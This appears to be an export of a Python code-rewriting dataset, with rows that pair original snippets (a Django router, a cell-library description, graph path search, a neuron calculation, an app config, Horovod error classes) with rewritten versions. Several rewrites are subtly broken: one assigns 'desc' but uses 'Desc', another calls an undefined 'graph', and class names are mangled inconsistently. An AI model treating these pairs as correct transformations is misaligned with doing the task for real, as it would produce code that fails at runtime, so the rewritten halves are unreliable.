return 'pgsql-ms'
# elif model._meta.app_label in ['auth', 'admin', 'contenttypes', 'sesssions', 'django_weixin', 'tagging']:
# return 'default'
return 'mm-ms'
| class Myrouter(object):
def db_for_read(self, model, **hints):
if model._meta.model_name == 'commontype':
return 'pgsql-ms'
if model._meta.app_label == 'other':
return 'pgsql-ms'
return 'mm-ms'
def db_for_write(self, model, **hints):
if model._meta.model_name == 'commontype':
return 'pgsql-ms'
if model._meta.app_label == 'other':
return 'pgsql-ms'
return 'mm-ms' |
Desc = cellDescClass("RF1R1WX2")
Desc.properties["cell_leakage_power"] = "1118.088198"
Desc.properties["dont_touch"] = "true"
Desc.properties["dont_use"] = "true"
Desc.properties["cell_footprint"] = "regcrw"
Desc.properties["area"] = "33.264000"
Desc.pinOrder = ['IQ', 'IQN', 'RB', 'RW', 'RWN', 'WB', 'WW', 'next']
Desc.add_arc("WW","WB","setup_falling")
Desc.add_arc("WW","WB","hold_falling")
Desc.add_arc("WW","RB","rising_edge")
Desc.add_arc("WB","RB","combi")
Desc.add_arc("RW","RB","three_state_disable")
Desc.add_arc("RW","RB","three_state_enable")
Desc.add_arc("RWN","RB","three_state_disable")
Desc.add_arc("RWN","RB","three_state_enable")
Desc.add_param("area",33.264000);
Desc.add_pin("RW","input")
Desc.add_pin("WB","input")
Desc.add_pin("IQ","output")
Desc.add_pin_func("IQ","unknown")
Desc.add_pin("RWN","input")
Desc.add_pin("next","output")
Desc.add_pin_func("next","unknown")
Desc.set_pin_job("WW","clock")
Desc.add_pin("WW","input")
Desc.add_pin("IQN","output")
Desc.add_pin_func("IQN","unknown")
Desc.add_pin("RB","output")
Desc.add_pin_func("RB","unknown")
Desc.set_job("latch")
CellLib["RF1R1WX2"]=Desc
| desc = cell_desc_class('RF1R1WX2')
Desc.properties['cell_leakage_power'] = '1118.088198'
Desc.properties['dont_touch'] = 'true'
Desc.properties['dont_use'] = 'true'
Desc.properties['cell_footprint'] = 'regcrw'
Desc.properties['area'] = '33.264000'
Desc.pinOrder = ['IQ', 'IQN', 'RB', 'RW', 'RWN', 'WB', 'WW', 'next']
Desc.add_arc('WW', 'WB', 'setup_falling')
Desc.add_arc('WW', 'WB', 'hold_falling')
Desc.add_arc('WW', 'RB', 'rising_edge')
Desc.add_arc('WB', 'RB', 'combi')
Desc.add_arc('RW', 'RB', 'three_state_disable')
Desc.add_arc('RW', 'RB', 'three_state_enable')
Desc.add_arc('RWN', 'RB', 'three_state_disable')
Desc.add_arc('RWN', 'RB', 'three_state_enable')
Desc.add_param('area', 33.264)
Desc.add_pin('RW', 'input')
Desc.add_pin('WB', 'input')
Desc.add_pin('IQ', 'output')
Desc.add_pin_func('IQ', 'unknown')
Desc.add_pin('RWN', 'input')
Desc.add_pin('next', 'output')
Desc.add_pin_func('next', 'unknown')
Desc.set_pin_job('WW', 'clock')
Desc.add_pin('WW', 'input')
Desc.add_pin('IQN', 'output')
Desc.add_pin_func('IQN', 'unknown')
Desc.add_pin('RB', 'output')
Desc.add_pin_func('RB', 'unknown')
Desc.set_job('latch')
CellLib['RF1R1WX2'] = Desc |
def compareTriplets(a, b):
alice = 0
bob = 0
for i, j in zip(a, b):
if i > j:
alice += 1
elif i < j:
bob += 1
return alice, bob
| def compare_triplets(a, b):
alice = 0
bob = 0
for (i, j) in zip(a, b):
if i > j:
alice += 1
elif i < j:
bob += 1
return (alice, bob) |
"""
Undirected Graph: There is no direction for Nodes
Directed Graph : Nodes have Connection
One application Example: Facebook Friend Suggestion, Flight Routes
Different from a Tree: In A tree there is only one path between two Nodes
Google maps uses Graphs to guide you to desired place to move to
"""
#Initializing a Graph Class
class Graph:
def __init__(self,edges):
self.edges = edges
self.graph_dict = {}
for start, end in self.edges:
if start in self.graph_dict:
self.graph_dict[start].append(end)
else:
self.graph_dict[start] = [end]
print("Graph Dictionary",self.graph_dict)
def get_paths(self, start, end, path = []):
path = path + [start]
if start == end:
return [path]
if start not in self.graph_dict:
return []
paths = []
for node in self.graph_dict[start]:
if node not in path:
new_path = self.get_paths(node,end,path)
for p in new_path:
paths.append(p)
return paths
def get_shortest_path(self,start,end,path = []):
path = path + [start]
if start == end:
return path
if start not in self.graph_dict:
return None
short_path = None
for node in self.graph_dict[start]:
if node not in path:
sp = self.get_shortest_path(node,end,path)
if sp:
if short_path is None or len(sp) < len(short_path):
short_path = sp
return short_path
if __name__ == "__main__":
routes =[
("Kigali","Paris"),
("Kigali", "Dubai"),
("Paris","Dubai"),
("Paris","New York"),
("Dubai","New York"),
("New York", "Toronto")
]
rutes_graph = Graph(routes)
start = "Kigali"
end = "New York"
print(f"The Path Between {start} and {end} is: ", rutes_graph.get_paths(start,end))
print(f"The Shortest Path Between {start} and {end} is: ", rutes_graph.get_shortest_path(start,end))
| """
Undirected Graph: There is no direction for Nodes
Directed Graph : Nodes have Connection
One application Example: Facebook Friend Suggestion, Flight Routes
Different from a Tree: In A tree there is only one path between two Nodes
Google maps uses Graphs to guide you to desired place to move to
"""
class Graph:
def __init__(self, edges):
self.edges = edges
self.graph_dict = {}
for (start, end) in self.edges:
if start in self.graph_dict:
self.graph_dict[start].append(end)
else:
self.graph_dict[start] = [end]
print('Graph Dictionary', self.graph_dict)
def get_paths(self, start, end, path=[]):
path = path + [start]
if start == end:
return [path]
if start not in self.graph_dict:
return []
paths = []
for node in self.graph_dict[start]:
if node not in path:
new_path = self.get_paths(node, end, path)
for p in new_path:
paths.append(p)
return paths
def get_shortest_path(self, start, end, path=[]):
path = path + [start]
if start == end:
return path
if start not in self.graph_dict:
return None
short_path = None
for node in self.graph_dict[start]:
if node not in path:
sp = self.get_shortest_path(node, end, path)
if sp:
if short_path is None or len(sp) < len(short_path):
short_path = sp
return short_path
if __name__ == '__main__':
routes = [('Kigali', 'Paris'), ('Kigali', 'Dubai'), ('Paris', 'Dubai'), ('Paris', 'New York'), ('Dubai', 'New York'), ('New York', 'Toronto')]
rutes_graph = graph(routes)
start = 'Kigali'
end = 'New York'
print(f'The Path Between {start} and {end} is: ', rutes_graph.get_paths(start, end))
print(f'The Shortest Path Between {start} and {end} is: ', rutes_graph.get_shortest_path(start, end)) |
# a single 3 input neuron
inputs = [1, 2, 3]
weights = [0.2, 0.8, -0.5]
bias = 2
output = (inputs[0] * weights[0] +
inputs[1] * weights[1] +
inputs[2] * weights[2] + bias)
print(output)
| inputs = [1, 2, 3]
weights = [0.2, 0.8, -0.5]
bias = 2
output = inputs[0] * weights[0] + inputs[1] * weights[1] + inputs[2] * weights[2] + bias
print(output) |
''' Adaptable File containing all relevant information
everything that could be used to customise the app for redeployment '''
# file path to log file is '/CA3/sys.log'
def return_local_location() -> str:
''' Return a string of the local city.
To change your local city name change the returned string: '''
return 'Exeter'
def return_html_filename() -> str:
''' Return the filename of the HTML
if filename of the HTML file is changed, change it here:
change the name of the returned string to be the filename '''
return 'index.html'
def return_weather_api_key() -> str:
''' Return API Key for the Weather API
To insert your own API Key, change the return value,
to a string containing just your API key'''
return ''
def return_news_api_key() -> str:
''' Return API Key for the News API
To insert your own API Key, change the return value,
to a string containing just your API key'''
return ''
def return_weather_url() -> str:
''' Return the base URL for the weather API
If base URL ever changes, replace returned string with new URL '''
return 'http://api.openweathermap.org/data/2.5/weather?'
def return_news_url() -> str:
''' Return the base URL for the news API
If base URL ever changes, replace returned string with new URL '''
return 'http://newsapi.org/v2/top-headlines?'
| """ Adaptable File containing all relevant information
everything that could be used to customise the app for redeployment """
def return_local_location() -> str:
""" Return a string of the local city.
To change your local city name change the returned string: """
return 'Exeter'
def return_html_filename() -> str:
""" Return the filename of the HTML
if filename of the HTML file is changed, change it here:
change the name of the returned string to be the filename """
return 'index.html'
def return_weather_api_key() -> str:
""" Return API Key for the Weather API
To insert your own API Key, change the return value,
to a string containing just your API key"""
return ''
def return_news_api_key() -> str:
""" Return API Key for the News API
To insert your own API Key, change the return value,
to a string containing just your API key"""
return ''
def return_weather_url() -> str:
""" Return the base URL for the weather API
If base URL ever changes, replace returned string with new URL """
return 'http://api.openweathermap.org/data/2.5/weather?'
def return_news_url() -> str:
""" Return the base URL for the news API
If base URL ever changes, replace returned string with new URL """
return 'http://newsapi.org/v2/top-headlines?' |
# Copyright 2019 Uber Technologies, Inc. All Rights Reserved.
# Modifications copyright Microsoft
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
class HorovodInternalError(RuntimeError):
"""Internal error raised when a Horovod collective operation (e.g., allreduce) fails.
This is handled in elastic mode as a recoverable error, and will result in a reset event.
"""
pass
class HostsUpdatedInterrupt(RuntimeError):
"""Internal interrupt event indicating that the set of hosts in the job has changed.
In elastic mode, this will result in a reset event without a restore to committed state.
"""
def __init__(self, skip_sync):
self.skip_sync = skip_sync
def get_version_mismatch_message(name, version, installed_version):
return f'Framework {name} installed with version {installed_version} but found version {version}.\n\
This can result in unexpected behavior including runtime errors.\n\
Reinstall Horovod using `pip install --no-cache-dir` to build with the new version.'
class HorovodVersionMismatchError(ImportError):
"""Internal error raised when the runtime version of a framework mismatches its version at
Horovod installation time.
"""
def __init__(self, name, version, installed_version):
super().__init__(get_version_mismatch_message(name, version, installed_version))
self.name = name
self.version = version
self.installed_version = installed_version
| class Horovodinternalerror(RuntimeError):
"""Internal error raised when a Horovod collective operation (e.g., allreduce) fails.
This is handled in elastic mode as a recoverable error, and will result in a reset event.
"""
pass
class Hostsupdatedinterrupt(RuntimeError):
"""Internal interrupt event indicating that the set of hosts in the job has changed.
In elastic mode, this will result in a reset event without a restore to committed state.
"""
def __init__(self, skip_sync):
self.skip_sync = skip_sync
def get_version_mismatch_message(name, version, installed_version):
return f'Framework {name} installed with version {installed_version} but found version {version}.\n This can result in unexpected behavior including runtime errors.\n Reinstall Horovod using `pip install --no-cache-dir` to build with the new version.'
class Horovodversionmismatcherror(ImportError):
"""Internal error raised when the runtime version of a framework mismatches its version at
Horovod installation time.
"""
def __init__(self, name, version, installed_version):
super().__init__(get_version_mismatch_message(name, version, installed_version))
self.name = name
self.version = version
self.installed_version = installed_version |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.